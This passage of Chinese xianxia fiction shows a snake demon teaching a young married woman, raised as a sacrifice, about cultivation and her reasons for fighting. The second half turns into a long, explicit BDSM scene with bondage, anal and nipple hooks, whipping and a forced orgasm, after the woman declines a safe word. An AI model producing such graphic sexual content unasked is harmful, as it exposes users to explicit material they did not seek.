  许墨静静地听着,脸上没有丝毫惧色,反而在幽漪描述完后,平静地回应:“姐姐说的没错。纯阴之体本就是天生的鼎炉,正如怀璧其罪,只要活着,就难免会被人窥伺。墨对此早有觉悟。”
  她顿了顿,小脸微微泛红继续说道:“姐姐若是真的喜欢我的‘味道’还请先容我除去衣物。夫君说若是姐姐实在忍不住,含在嘴里品品味道也是可以的。”
  巨蟒闻言先是一愣,随即发出一阵低沉的笑声,震得周围水面都泛起涟漪:“那个满嘴跑火车的混蛋!把姐姐我说成什么贪吃鬼了!姐姐我是喜欢你喜欢的不得了,但还没急不可耐到那种地步好吧?墨儿妹妹你也放松些,别被他带歪了。”
  话音落下,庞大的蛇身开始散发出朦胧的光芒,迅速缩小、变形。
  眨眼间,那令人心悸的巨蟒消失不见,取而代之的是那位风情万种、身着黑金旗袍的美艳妇人幽漪笑吟吟地站在许墨面前。
  与此同时,潭水哗啦几声,几只磨盘大小、举着桌椅板凳的大螃蟹笨拙地爬上岸,熟练地将一套精致的竹制桌椅摆放好,甚至还有一壶热气腾腾的香茶。
  幽漪牵着许墨的手,走到桌边坐下,亲手为她斟上一杯茶,神色也端正了些许:“妹妹的觉悟,姐姐已经深切体会到了。只是没想到妹妹的身子看似柔软,心性却如此坚韧。方才姐姐我刻意释放的阴煞之气,哪怕是寻常筑基修士也会心神动摇,气血翻腾,而你竟似毫无所觉!”
  许墨端起茶杯轻轻啜饮一口,闻言有些茫然地抬起头:“墨不曾觉得姐姐身上有何煞气,只是觉得……凉冰冰的,很舒服。”
  “噗——”
  幽漪刚入口的茶直接喷了出来,两眼瞪得溜圆,激动地大喊:“哦哦哦!墨墨喜欢姐姐!姐姐我太开心了!哦哦哦哦哦啊啊啊啊!”
  这声音蕴含着一丝妖力,惊得旁边青木谷林子里的鸟儿扑棱棱飞起一大片。
  好一会儿,幽漪才平复下激动的心情,优雅地用手帕擦了擦嘴角,轻咳两声,恢复了端庄的姿态:“咳咳,总之……咱们言归正传,先从最基础的问题开始吧。先生……也就是你家那位曾经讲过,习武之人应先修武德,明心见性;而如今这修仙界嘛,却毫无‘仙德’可言,只知道一味修炼晋升,卷生卷死,不择手段,对此我是极度认可的。”
  许墨闻言,面露震惊之色,小嘴微张。
  幽漪挑了挑眉,笑问:“怎么?墨儿对此有何不解?”
  许墨连忙摆手:“抱歉,幽漪姐姐,我只是……只是没想到,他嘴里竟能说出如此靠谱的话来。”
  幽漪露出一副“我懂你”的苦笑:“唉,你一天到晚陪着他也是辛苦。不过咱们继续。”
  许墨点头,认真倾听。
  “如今的修仙界往往简单粗暴地划分为正道与邪修,口号喊得震天响,说什么正邪不两立。说到底还是实力为尊。”
  幽漪嘴角勾起一抹讥诮,“可实际上呢?为了资源,为了功法,为了那虚无缥缈的飞升,杀人夺宝、强取豪夺、灭门绝户之类的龌龊事,哪边都没少干。可笑的是,同样的事情邪修做了,便是忤逆天道,人人得而诛之;若是某些自诩正道的大派做了便成了‘替天行道’、‘铲除奸邪’,众人还要拍手称快。你说这世上哪有这样的道理?”
  许墨若有所思地点点头。
  她虽涉世未深,但自幼在磐石寨见惯了人性复杂,对幽漪的话并非完全不能理解。
  幽漪目光扫过四周宁静的山谷,语气带上了一丝追忆与凝重:“即便是这两界山如今看似太平无事,宛如世外桃源,但过去也曾经历过凶险无比、甚至堪称绝死无望的时刻。曾有一个势力庞大的邪修宗门,不知天高地厚,倾尽全力在此布下了恐怖的血煞大阵,欲将山中所有百姓连同草木生灵尽数祭炼,以成就他们的魔功。那一次当真是黑云压城,煞气冲天,我们几个……几乎以为在劫难逃了。”
  许墨的心提了起来:“夫君的实力……能对抗一整个邪修宗门?”
  幽漪的眼神瞬间变得有些飘忽,脸上闪过一丝与昨日厉锋如出一辙的、混合着惊惧与难以置信的神色。
  但这神色稍纵即逝,她摆了摆手,语气变得含糊:“并非……简单的对抗。而是……唉,那场面太过……还是以后再说吧,或者等你家那位愿意告诉你的时候。”
  许墨敏锐地察觉到这其中必有隐秘,但既然幽漪不愿多谈,她便乖巧地不再追问,转而问道:“我听说妖族往往以实力为尊,遇到强者便会服从。但姐姐,还有厉锋前辈、炎曦姐姐、石坤先生和夫君之间似乎并非是简单的上下级关系?”
  幽漪点点头,神色缓和下来:“确实如此。经历过那件事后,我们几个……说是对他俯首称臣也不为过。炎曦那个平日里最高傲嘴硬的家伙甚至主动提出要给他当坐骑呢,呵呵呵。”
  她掩唇轻笑,“不过他不喜欢这样,觉得太招摇也太生分,所以这事就没成。”
  “那……姐姐是否知道,夫君他究竟是什么境界?”
  许墨终于问出了埋藏心底许久的疑惑。
  “境界?”
  幽漪反问道“他怎么跟你说的?”
  “他说……他遇强则强实力不相,自己也说不清。”
  “那恐怕不是骗你,”
  幽漪叹了口气,眼神变得有些深邃,“他是真的说不清。林烨……你夫君,他是规则之外的存在。在这天道之下恐怕难寻敌手。但是,墨儿妹妹可曾想过修行为何会有练气、筑基、金丹、元婴、化神、合体、炼虚、大乘这些泾渭分明的境界划分?”
  许墨老实摇头。这对她这个刚刚练气圆满、还未正式踏入战斗修行门槛的新手来说确实太过遥远和深奥。
  幽漪笑了笑,说道:“你夫君有个听起来挺有意思的说法。他说修仙就像是做题,修炼一门功法到了一定程度就要参加‘考试’,也就是渡劫。渡劫刷下来一批,剩下的继续往上考,一层一层,循环往复,直到仙道终途,渡劫飞升,超脱此界,不落六道轮回,那就等于……嗯,用他的话说是‘考公上岸,获得了永久编制’。听起来是不是还挺像那么一回事?”
  许墨微微蹙起柳眉,疑惑道:“他从未和我讲过这些……只是和我说‘修行如小便,这里一点那里一点;突破则如拉屎,感觉来了挡都挡不住……’”
  幽漪闻言,忍不住扶额苦笑:“这……这确实像是他能说出来的话。”
  她收敛笑意,目光认真地看向许墨,“不过墨儿,抛开那些境界划分和比喻,姐姐想问你一个最基本的问题:你为何要修行?又为何想要学习战斗?”
  许墨被问得一怔,眼神出现了片刻的茫然。她低下头,仔细思索了一会儿,才有些不确定地开口:“抱歉,姐姐,我……我好像从未仔细想过这个问题。夫君的实力深不可测,似乎并不真的需要我的保护。而且他那种……遇强则强的特性,我就算想追赶也好像找不到明确的目标。若说是为了保护自己……”
  她抬起头,环顾四周鸟语花香、安宁祥和的青木谷,“这两界山安全得就像一个巨大的泡泡。我前两日去了焚天崖和玄垢洞。在焚天崖我被不知名的怪风挂在山崖上,像块腊肉似的风干了一个多时辰,幸好遇到炎曦姐姐路过亲自把我送回了桃源村。在玄垢洞更是被一滩软泥怪抓住,封进了石头里只露出个脑袋,要不是石坤先生下班路过,好心敲碎石头把我挖出来我恐怕现在还困在里面呢。”
  她语气中带着深深的懊恼和歉意:“我只是觉得自己实力太不济了,连路边的树藤、山间的怪风、洞里的泥巴都能随意戏弄我。还总是这样乱跑,给大家添麻烦,让大家担心,实在是……过意不去。或许,如今的我只是想变得更强一些,少给大家添点麻烦吧。”
  幽漪听着她的诉说,非但没有失望,反而像是松了一口气,脸上露出了然的神色:“啊……这么说,大鸟和那石头猴子的本体你也都见过了?”
  许墨点点头:“嗯,炎曦姐姐是很好看的金色巨鹰,石坤先生是灰色的石猿。”
  “呼……”
  幽漪夸张地拍了拍胸脯,“明明说好了大家都要在‘BOSS二阶段’才能暴露本体的,结果只有那个傻大个实心眼真照着剧本演啊!”
  “傻大个……是说厉锋师傅吗?”
  “是啊,你看他那一身煞气,像是个啥?”
  许墨歪头想了想,不确定地说:“唔……是老虎吧?感觉很威猛。”
  “真聪明!”
  幽漪伸手,宠溺地点了一下许墨的鼻尖,随即笑道,“墨儿妹妹,你如今觉得实力不济只是暂时的。你有如此透彻的洞察,将来的成就绝不会比你那不干人事的夫君差。至于说战斗的理由是‘不想给大家添麻烦’……”
  她肯定地点点头,“我觉得可以,很好!”
  “这样……就好吗?”
  许墨有些意外。
  “是啊,这样就好!”
  幽漪的笑容温暖而真诚,“难道每个人修行战斗,都必须有个拯救世界、光大门派之类的宏大目标吗?为了守护身边的平静,为了不让关心自己的人担忧,这理由足够纯粹,也足够有力了。”
  她顿了顿,换了个角度问:“墨儿,你每天早上睁开眼,就会立刻想好这一天要具体做什么吗?比如,辰时练功,巳时读书,午时……”
  许墨理所当然地点点头:“是啊。过去在神殿作为神女,每日的行程都有严格规定。现在虽然自由了,但养成好习惯很重要。”
  幽漪的表情瞬间僵住,像是听到了什么不可思议的事情,随后开始有些抓狂地挠着头:“一般来说……普通人好像不是这样的啊!唉,不过想想你过去的经历……作为祭品培养的神女……啊,头好疼!这认知差有点大!”
  “姐姐,你没事吧?”
  许墨关切地问。
  “唔……没事没事。”
  幽漪甩甩头,目光落在许墨手腕那枚青黑色的编织手环上,眼中闪过一丝狡黠的坏笑,“墨儿妹妹,不如这样。今天原本的计划一是让你我师徒之间加深沟通了解,二是让你沟通你的新兵器‘幽冥索’”。
  但咱们不妨把这两件事结合起来,一起做了,如何?
  “一切都听姐姐安排。”
  许墨乖巧应道。
  “太好了!”
  幽漪抚掌笑道,“既然小墨墨的兵器是‘索’,那咱们就从‘索’最基础的运用开始。你先除去衣物,让姐姐用这幽冥索把你这具美妙的身体紧紧地、漂漂亮亮地捆缚起来。然后你一边切身感受绳索的束缚与力量,咱们一边继续聊修行和战斗的心得,可好?”
  “这样更好,省时省力。”
  许墨的回答干脆得让幽漪一愣。
  就这么痛快地同意了?
  幽漪原本准备好的一大套忽悠的说辞瞬间没了用武之地,心里反而有点空落落的。
  这小丫头,也太好说话了吧?
  不过许墨的动作倒是毫不拖泥带水。
  她立刻站起身,利落地脱掉鞋袜,褪下黑色的运动长裤,露出笔直修长、肌肤莹白如玉的双腿。
  接着,她解开拉链,剥下白色的短款运动外套,里面只剩下一套纯白色的、款式简洁的内衣裤,将少女青春饱满的胴体勾勒得恰到好处。
  幽漪的目光瞬间变得灼热起来。
  眼前的许墨,仅着内衣,亭亭玉立。短发让她显得更加清爽俏丽,却也毫无保留地展现出优美的天鹅颈和精致的锁骨。
  白色的文胸包裹着那对浑圆饱满的玉乳,弧线完美规模惊人,随着呼吸微微起伏。平坦的小腹下是堪堪一握的纤腰,与丰腴的臀胯形成诱人的对比。纯白的内裤紧紧包裹着神秘的三角地带勾勒出饱满的丘壑形状。双腿笔直修长,肌肉线条流畅而富有弹性,充满了青春的力量感。
  幽漪的呼吸不由自主地急促起来。
  在她眼中这不仅仅是一具美丽的少女胴体,更是一件无与伦比的“艺术品”和“珍馐”。
  想要将这具充满灵力的身体吞食消化,以助长修为,又被许墨的纯真、坚韧与坦率深深吸引,想要亲近、呵护;她渴望占有这具身体,品尝她每一寸肌肤的滋味;又不忍心这美好的存在受到丝毫伤害;还有……一种源自本能的、想要将其束缚、掌控、细细把玩的调教欲。种种欲念如同潮水般在她心中交织、翻涌,让她的眼神变得复杂而深邃。
  “姐姐,内衣内裤也要脱掉吗?”
  许墨的声音将幽漪从纷乱的思绪中拉回。
  “当然要!”
  幽漪几乎是脱口而出,声音带着一丝不易察觉的沙哑。
  许墨闻言,面色平静地弯腰褪下了白色的内裤。
  就在她刚要将那小小的布料放下时,幽漪却一步上前,几乎是抢一般地将那还带着少女体温和淡淡体香的内裤捂在脸上,深深地、贪婪地吸了一口气,仿佛要将那气息融入肺腑。
  随后,她长长地、满足地呼出一口气,脸上竟浮现出一种近乎迷醉的神情,翻着白眼宛若吸食了什么不该碰的东西。
  许墨对此并未表现出惊讶或厌恶,只是微笑着继续脱下文胸让一对雪白浑圆、顶端点缀着粉嫩蓓蕾的玉兔彻底弹跳出来暴露在微凉的空气中。
  “姐姐果然是‘原味’爱好者呢。”
  “抱歉抱歉……”
  幽漪这才意识到自己的失态,连忙将内裤攥在手心,脸颊微红,“墨儿妹妹你可真是……天生尤物,让姐姐都把持不住了。”
  她看着许墨彻底赤裸的胴体,两行鲜红的鼻血毫无征兆地从幽漪的鼻孔中流下,滴落在石桌上,晕开一小片湿痕。
  许墨见状,无奈地苦笑了一下:“夫君早就说我这纯阴之体,对姐姐这样的妖族前辈而言乃是大补之物。只是……光看着都会有如此效果吗?”
  “唔……”
  幽漪尴尬地咽了口口水,连忙用手帕捂住鼻子,低下头,声音闷闷的,“抱歉了墨儿妹妹,没吓到你吧?姐姐我……定力还是不够。”
  “没事的,”
  许墨语气平和,“墨是作为祭品长大的,对于他人的注视和饥渴欲念早已习惯,并不会因此感到害怕。”
  “你……”
  幽漪抬起头,擦掉鼻血,眼神复杂地看着她,“你连死都不害怕吗?”
  许墨的目光清澈而坚定:“墨不怕死。只怕……此身没有机会完全奉献给夫君。也怕姐姐还有桃源镇的大家会因为我的离去而伤心。”
  幽漪怔住了,心中最柔软的地方被狠狠触动。
  她深吸一口气,压下翻腾的欲念,眼神恢复了作为师长的清明与温和:“真是个好孩子……乖巧懂事得让人心疼。既然如此,姐姐更得把你捆得结结实实、舒舒服服的,好好教导你才行。”
  “劳烦姐姐了。”
  许墨微微躬身。
  她将手腕上的青黑色手环取下,心念微动,引出一段线头,递给幽漪。
  幽漪接过手环,入手微沉,感受到其中蕴含的奇异力量,心中不禁暗暗惊讶:才过去一晚,许墨竟然已经能如此熟练地引动幽冥索,这份掌控力和心性天赋实在惊人。
  随后,许墨主动转过身背对幽漪将双臂放到身后。
  她的动作熟练而自然,双手手掌贴合,沿着脊柱向上移动,直到双臂的小臂完全贴合,然后将手腕巧妙地放置在肩胛骨之间的缝隙里,形成了一个极其标准、甚至堪称优美的“后手观音”起手式。
  整个背部线条完全展露,肩胛骨如同即将展翅的蝴蝶,腰窝深陷,与丰腴的臀瓣形成强烈的视觉对比。
  幽漪上前,冰凉的手指轻轻抚过许墨光滑的肩头、脊线以及柔韧的腰肢和挺翘的臀瓣,感受着肌肤下蕴含的活力与弹性,口中赞叹:“这后手观音的缚法最能体现身体的曲线美,效果也极佳。墨儿妹妹喜欢这个姿势吗?”
  许墨感受着背后轻柔的触摸,回答道:“是的。如此紧缚效果最好,而且能打开前胸展示双乳,背面又完全对称工整。夫君也很喜爱我这样被缚着。”
  幽漪不再多言,开始展现她高超的缚艺。
  她手中的幽冥索如同拥有了生命,在她指尖灵活地穿梭。她用绳索在许墨的双臂上臂处紧紧缠绕数圈,固定住上臂与身体的相对位置,绳索深陷进柔软的皮肉里,勒出清晰的凹痕。接着,绳索在肩胛骨上方横向穿过,然后向下,在胸廓下方再次横向缠绕,形成一个稳固的框架。
  随后便是最精妙的胸缚,绳索从背后穿过腋下,在胸前交叉,分别绕过左右乳房的上下根部,紧紧勒住,使得原本就饱满的双乳被托举得更加高耸,乳肉从绳索的上下方溢出,显得愈发丰硕圆润。
  幽漪的手法极其精准,绳索的走向对称工整,最终在许墨的胸前形成了一个由多股细绳交错构成的、宛如五角星般的精美图案。
  双乳因被勒住根部显得更加挺翘,乳尖也愈发充血硬挺,如同两颗熟透的樱桃。
  这还没完,幽漪又细致地将许墨的双手手指并拢,用更细的索丝将每一根手指都单独捆绑起来,让她双手彻底失去抓握的能力。
  整个上半身的捆绑过程,幽漪的动作如行云流水,既保证了束缚的牢固又极具美感,仿佛在进行一场艺术创作。
  许墨赤裸的上半身被青黑色的幽冥索以后手观音的姿势紧紧缚住,胸前绳索勾勒出工整的五角星图案,双乳被勒得更加饱满欲滴,背部线条流畅,腰肢纤细,与尚未捆绑的修长双腿形成鲜明对比——幽漪眼中充满了欣赏与满足。
  而许墨也轻声赞叹:“姐姐的捆缚之术真是精妙绝伦。比夫君的手法,还有过去山里负责捆缚神女的嬷嬷们都要厉害得多。能将如此纤细的绳索捆出这样复杂又漂亮的纹路,姐姐是墨见过最厉害的缚手。”
  这真诚的赞美让幽漪的脸颊微微泛红,心中受用无比。
  她的目光再次贪婪地巡视着许墨的身体,从那双白皙玲珑的玉足,到笔直修长、肌肉紧实的小腿和大腿,再到被绳索紧紧束缚、更显丰满的臀瓣,不盈一握的纤腰,被绳索精心“装饰”着、傲然挺立的双乳,优美的锁骨,修长的脖颈,最后落到许墨那张因捆绑和微冷而泛着红晕、却依旧带着纯真与坚毅的俏脸上。
  这具胴体,在她眼中既是完美的艺术品,也是无上的美味,让她心中的各种欲望再次蠢蠢欲动。
  “好妹妹,”
  幽漪的声音带着一丝不易察觉的颤抖,“上半身绑好了,下半身……你想要姐姐怎么帮你绑?或者,你有没有什么想法?”
  许墨看了一眼旁边水潭清澈见底的浅滩,那里铺满了光滑的鹅卵石。她沉吟片刻,抬起头,眼中闪过一丝好奇与大胆,轻声问道:“姐姐对于绳缚之道如此精通,想必……也通晓妖族之中关于‘人宠’调教之法吧?”
  幽漪闻言,先是一愣,随即脸上绽放出极度惊喜的光芒,几乎要喜极而泣:“是的是的!我过去……确实和极乐宗的一些朋友交流过,懂得些许门道!墨儿妹妹你……你竟然知道这个?”
  她没想到许墨会主动提出这个方向。
  许墨平静地回答:“曾听闻一些。既然如此,姐姐不妨就用你喜欢的方式,来‘调教’墨吧。”
  “太好了!姐姐我真是太开心了!”
  幽漪欢喜得几乎要手舞足蹈。她随手一挥,潭水中再次冒出两只大螃蟹。
  这次,它们举着的是一条由无数颗硕大圆润、光泽莹白的珍珠串联而成的长链,足有十多米长。
  幽漪指挥着螃蟹将珍珠长链的两端分别系在水潭边两棵相距合适的大树上。
  长链自然下垂,其下方正是那片水深刚过脚踝、铺满鹅卵石的浅滩。
  “墨儿妹妹,可曾试过‘走绳’?”幽漪笑吟吟地问。
  “抱歉姐姐,墨并未听说。”
  “很简单。”
  幽漪解释道,你一条腿跨过这根珠链,我会控制它,让它收紧的力道刚好勒在你的股间敏感之处。
  然后,你要赤脚踩着水下的卵石,按照我的命令,在这浅滩中行走。明白了吗?
  “明白了,姐姐。”许墨看着那根珍珠项链和下方的浅滩,眼中闪过一丝兴趣。
  “这似乎……很是有趣。”
  “快来试试吧。”
  幽漪上前,扶着被缚住双臂、行动有些不便的许墨,走到浅滩边。
  珠链自然垂落,许墨可以轻松地抬起一条腿从上方跨过。
  然后,她分开双腿,在珠链上方站定,白皙的双足踩在冰凉的水中鹅卵石上。
  幽漪低头看着许墨胸前那两颗因捆绑和兴奋而愈发挺立的粉嫩乳头,不自觉地用分叉的舌头舔了舔嘴唇。
  许墨自然理解这目光的含义,微笑着主动说道:“姐姐,今日的奶水并未提前挤出。姐姐若是喜欢可以品尝一下。”
  她的话语带着一丝羞涩,却更大胆。
  幽漪却伸出食指,轻轻按在许墨的嘴唇上,眼中闪过一丝戏谑而威严的光芒:“小墨儿,既然现在扮演的是‘人宠’,就要记住规矩。别教主人怎么做,下次再这样自作主张可是要打屁股的哦~”
  许墨微微一怔,随即领会,脸上露出顺从的神色,微笑道:“是,姐姐,墨明白了。”
  幽漪满意地点点头。她从乳沟间取出一条质地轻薄的纯黑色丝巾,动作轻柔地系在许墨的头上,蒙住了她的双眼。
  许墨的视野陷入了黑暗,其他的感官变得更加敏锐。
  接着,幽漪又取出两根几乎透明的、却坚韧无比的天蚕丝线,一端轻轻系在许墨那两颗硬挺的乳头上,打了个精巧的结,另一端则握在自己手中。她用手轻轻向上一提——“嗯……”
  许墨顿时发出一声压抑的轻哼,身体不受控制地微微颤动。
  乳头传来的细微刺痛与拉扯感,混合着被蒙眼带来的未知与期待形成一股强烈的刺激。
  这副柔弱无助、却又隐隐透露着顺从与期待的模样让幽漪心中的掌控欲和爱怜之情达到了顶峰。
  她忍不住上前,紧紧抱住许墨被缚的上身,在她泛红的脸颊上印下了一个带着冰凉气息的吻,激动地低语:“墨儿,我的好墨儿,姐姐我真的太喜欢你了!不过,在开始我们的‘游戏’之前,还有一件最重要的事情一定要做。”
  许墨在黑暗中侧耳倾听:“姐姐请说。”
  “想一个‘安全词’出来。”
  幽漪的语气变得严肃,“由你来定。”
  “安全词?”
  许墨的声音带着疑惑。
  幽漪美目圆睁,显得有些意外,随即眉头蹙起,带着一丝不满:“那混蛋平日里和你玩这些的时候连安全词都没有给你设定过吗?”
  许墨回想了一下,回答道:“夫君他会一直看着我,反复询问我‘要不要紧’、‘舒服吗’、‘可以继续吗’之类的话。姐姐是担心这个吗?”
  “呼……原来如此。”
  幽漪微微松了口气,语气缓和下来,“妹妹,你与他是夫妻,那是夫妻之间的情趣与信任。你从中得到的,主要是肉体上的欢愉和亲密,但身份并未真正改变。而姐姐我现在要做的,是带有‘调教’性质的扮演。‘安全词’,是极乐宗定下的铁律。当你感到无法忍受、想要暂停或者彻底结束时,只要说出这个词语,一切就会立刻停止,明白了吗?”
  许墨安静地听着,然后点了点头:“姐姐,我明白你的好意。不过姐姐也知道我过去的经历。作为祭品早已习惯了被动承受,并不会有中途喊停的想法和需要。姐姐无论对我做什么,只要是为了教导,墨都会受着的。”
  “你这孩子!”
  幽漪的语气带上了几分生气,“怎么这么不爱惜自己?就不怕姐姐我真的一时冲动害了你?”
  许墨摇了摇头,即使在黑暗中,她的声音也异常平静:“既然夫君信任姐姐,将墨交给姐姐教导。而墨是夫君的所有物,那么姐姐若是真的害了我,那便是他瞎了眼,信错了人罢了。”
  幽漪气结,“你就不在乎你自己会怎样吗?”
  被蒙着眼睛的许墨,嘴角忽然勾起了一抹与平日纯真截然不同的、带着一丝野性与桀骜的微笑。
  她深吸一口气,一字一句,清晰地说道:“夫君有句话,墨也很认可。”
  幽漪追问:“是哪句话?”
  许墨的声音不大,却带着一种奇异的决心:“生死看淡,不服就干。”
  幽漪先是一愣,随即脸上缓缓绽放出一抹了然而又带着几分兴奋的笑意。
  她伸出手,轻轻抚摸着许墨被蒙住眼睛的脸颊:“既然如此……看来姐姐我今天,非得好好‘惩罚’一下你这个不懂得爱惜自己的小坏蛋不可了!”
  说罢,她心念一动!
  下方那根原本松弛的珍珠链条,猛地向上收紧!
  只听“啪”的一声清脆响声,链条精准地勒紧了许墨双腿之间最柔嫩、最敏感的私密部位,突如其来的刺激和轻微的痛感,让许墨忍不住发出了一声混合着惊愕与快感的娇嫩喊叫。
  “啊!”
  幽漪的指尖,带着蛇类特有的冰凉与滑腻悄然滑过许墨紧致臀瓣的缝隙,最终停留在那朵羞涩紧闭的雏菊之门。
  许墨的身体瞬间绷紧,一种前所未有的、混合着强烈羞耻与奇异刺激的战栗感,从尾椎骨直窜而上。
  不同于胸前和腿心的敏感,这里的触碰带着一种更加隐秘、更加不容侵犯的侵入感。
  “放松,墨儿……”
  幽漪的声音低沉而充满蛊惑,指尖带着一丝润滑的凉意,轻轻按压着那小小的褶皱环形肌肉,“这也是你身体的一部分,感受它,接纳它。”
  许墨咬紧了下唇,蒙眼的黑暗放大了所有触感。
  她能清晰地感觉到幽漪指尖的试探,然后,一个细小、冰凉、带着弧度的金属物体,抵住了那紧闭的入口。
  这是肛门钩,轻微的压迫感传来,伴随着一丝异物试图进入的胀痛。许墨下意识地收缩后庭,试图抗拒,但那钩子设计得极其精巧,在幽漪稳定而轻柔的推力下,最终还是突破了最外层的括约肌,缓缓滑入了紧窄又柔滑的甬道。
  许墨发出一声闷哼,身体微微颤抖。
  异物存在的感覚异常清晰,但并不算非常疼痛,更多的是一种饱胀感和被填满的陌生体验。
  钩子顶端的小环留在了体外,幽漪将另一根弹性极佳的天蚕丝系在了上面,向后牵引,固定在了不远处的一棵树上。
  现在,许墨的处境变得更加微妙而艰难。
  她站在冰凉的水中,双脚踩着硌人的鹅卵石,双腿被珍珠链条勒着股间,双乳的乳头上系着向前牵引的丝线,而后庭则被向后的肛门钩丝线拉扯。她就像一个被固定的祭品,前后左右的活动范围被严格限制。
  “好了,墨儿,”
  幽漪退后几步,坐回椅子上,优雅地端起茶杯,“试着感受你身上的幽冥索,用你的灵力去沟通它,理解它缠绕的每一个节点,每一分力道。同时……小心哦。”
  她话音刚落,平静的水潭边突然从四面八方射来一道道急促的水线!
  那是潜伏在水中的一些小型精怪——诸如调皮的水箭蛙、能操控水珠的莹光虾等。
  它们受到幽漪的指令,开始向许墨发射水弹。这些水弹速度不快不慢,力道却拿捏得恰到好处,打在赤裸的肌肤上,会带来尖锐的刺痛,如同被橡皮筋弹射,瞬间留下一个个红点,但并不会造成真正的伤害。
  许墨眼前一片漆黑,只能依靠听觉和皮肤对空气流动的感知来判断水弹的来袭方向。
  第一波水弹袭来时,她完全无法适应。
  “啪!啪!啪!”水弹密集地打在她的胸口、小腹、大腿、甚至脸颊上,疼痛让她忍不住发出痛呼。
  她下意识地想向后躲闪,但身体刚一动,乳头上系着的天蚕丝立刻被拉紧,传来一阵尖锐的拉扯痛感,迫使她停住。
  她又尝试向前迈步,以躲避侧面袭来的水弹,然而后庭的肛门钩丝线瞬间绷直,异物在体内被牵拉的感觉更加鲜明而羞耻,同时股间的珍珠链条也因步伐移动而剧烈摩擦着最敏感的阴唇和阴蒂,带来一阵混合着痛楚与微妙快感的电流。
  她娇呼一声,进退维谷,只能僵硬地站在原地,被动承受着水弹的袭击。全身很快便布满了星星点点的红痕,看起来楚楚可怜。
  而幽漪,则好整以暇地品着茶,开始了她的“拷问”。
  她的声音不再带有之前的调笑与媚意,而是变得冷静、清晰,甚至带着一丝严厉:“许墨,告诉我,你为何要拿起武器,学习战斗?”
  许墨正被一颗水弹打在敏感的腰侧,疼得吸了口气,闻言下意识地回答:“为了……不给大家添麻烦……”
  “啪!”
  一道无形的软鞭破空而来,精准地抽打在许墨的大腿外侧,留下一条火辣辣的红痕,疼痛比水弹强烈数倍!
  “肤浅!”
  幽漪冷声道,“不添麻烦的方式有很多,躲在桃源镇不出门即可。再想!”
  许墨疼得眼泪都快出来了,她咬着牙,在疼痛和水弹的干扰下努力思考:“为了……保护自己?”
  又一鞭子抽在另一条大腿上。
  “不够!两界山有林烨,有我们,需要你保护自己到什么程度?面对真正的强敌,你这点微末道行谈何自我保护?想更深层的理由!”
  水弹依旧不停,许墨的前胸和腹部又挨了几下,她喘息着,被鞭打的疼痛和幽漪的问题逼得几乎崩溃。
  股间的珍珠链条在不断轻微晃动中持续摩擦,后庭的异物感,乳头的牵扯痛,以及被蒙眼剥夺视觉的无助感,所有感官刺激混杂在一起,如同风暴般冲击着她的神智。
  在这种极致的压迫下,某种被压抑的生理反应却悄然抬头。
  蜜穴深处开始不受控制地泌出热流,浸湿了与珍珠链条接触的部位,摩擦带来的不再是单纯的疼痛,反而渐渐掺杂进一丝丝令人羞耻的酥麻快感。
  “我……我不知道……”
  许墨的声音带上了哭腔,她真的被问住了。战斗的理由?不添麻烦和保护自己,到底是什么?
  “不知道?”
  幽漪的声音逼近,带着无形的压力“那就感受疼痛,感受束缚,感受你现在的无力!在你最脆弱、最被动的时候,你想依靠什么?你想打破什么?”
  “啪!啪!”
  连续两鞭,抽在她挺翘的臀瓣上,带来一阵剧烈的灼痛,却也奇异地刺激了臀肉深处的神经,与股间升起的快感隐隐相连。
  许墨的呼吸越来越急促,身体的热度不断攀升。
  羞辱、疼痛、困惑、还有那该死的、逐渐占据上风的生理快感,让她的大脑一片混乱。
  就在这混乱的顶点,当一颗水弹意外地打在她最敏感的阴蒂上方时,一股前所未有的、如同电流般的强烈刺激猛地炸开!
  “啊啊啊——!”
  她不受控制地发出一声高亢的、混合着痛苦与极致欢愉的尖叫!
  身体剧烈地颤抖起来,双腿发软,若非被前后的丝线勉强拉着,几乎要瘫软在水中。
  一股热流从子宫深处汹涌而出,蜜穴剧烈地痉挛收缩,高潮的浪潮以摧枯拉朽之势席卷了她全身每一个细胞!她的大脑瞬间空白,什么战斗理由,什么疼痛羞辱,全都被这纯粹的生理极乐所淹没。
  在这一刻,许墨仿佛被抛上了云端,又被拽入了深海。视野虽被蒙蔽,但脑海中却炸开了一片绚烂的白光。全身的肌肉先是绷紧如铁,尤其是腹部和双腿,脚趾因极致的快感而死死蜷缩,抠进湿滑的鹅卵石缝隙中。
  束缚着她的幽冥索,似乎也感受到了主人身体的剧烈变化,那些深深陷入皮肉的绳索,仿佛活了过来,随着她身体的颤抖而微微蠕动,摩擦着敏感的肌肤,带来了另一重附加的刺激。
  她的呻吟声变得破碎而绵长,带着哭腔,却又充满了释放的满足感。乳头硬挺得如同石子,乳晕涨大,乳尖传来的拉扯痛感奇异地融入了高潮的洪流,变成了快感的一部分。后庭的肛门钩也因身体的痉挛而被更深入地牵扯,那种饱胀感此刻竟带来一种诡异的充实。珍珠链条勒紧的股间早已泥泞不堪,热流不断涌出,将链条都浸得湿滑。
  高潮的余韵持续了相当长一段时间,许墨的身体如同被抽走了所有骨头,软软地倚靠着前后丝线的微弱拉力才勉强维持着站姿。
  她大口大口地喘息着,蒙眼布下的脸颊潮红如血,全身的肌肤都泛着高潮后的粉色,布满了水弹的红点和鞭痕,显得既狼狈又充满了被彻底蹂躏后的淫靡美感。
  幽漪静静地看着这一幕,眼中闪过一丝复杂。
  她没想到许墨会在这种拷问与体罚下被逼出高潮,但这似乎也说明这具身体对刺激的反应远超常人,并且能在极端压力下找到某种释放的途径。
  她原本觉得初次进行如此高强度的身心训练,能达到这一步已属不易,正准备挥手让水精怪们停下结束今天的修行。
  然而,就在她刚要开口的瞬间,异变发生了。
  原本似乎已经脱力、全靠丝线拉扯才站着的许墨身体忽然细微地调整了一下重心。
  她的头微微偏向一侧,似乎在凝神倾听。
  紧接着,一颗从左侧射来的水弹眼看就要击中她的肋下,她却以一种极小幅度、几乎难以察觉的侧身,险之又险地避了过去!
  幽漪的美眸瞬间睁大,放下了手中的茶杯。
  接下来的景象更让她感到惊喜。
  许墨依旧蒙着眼睛,身体被前后丝线限制,无法大幅移动。
  但她开始运用腰肢的扭转、膝盖的微曲、脚踝的巧妙点地,在水中做出各种小巧而精准的闪避动作。
  她仿佛能“看”到那些水弹的轨迹,时而含胸收腹,时而提膝侧移,虽然依旧有少量水弹无法完全避开,擦着她的身体飞过,但命中率已大大降低!她的动作从一开始的僵硬笨拙,变得逐渐流畅起来,带着一种初生的、稚嫩的韵律感。
  “好!很好!”
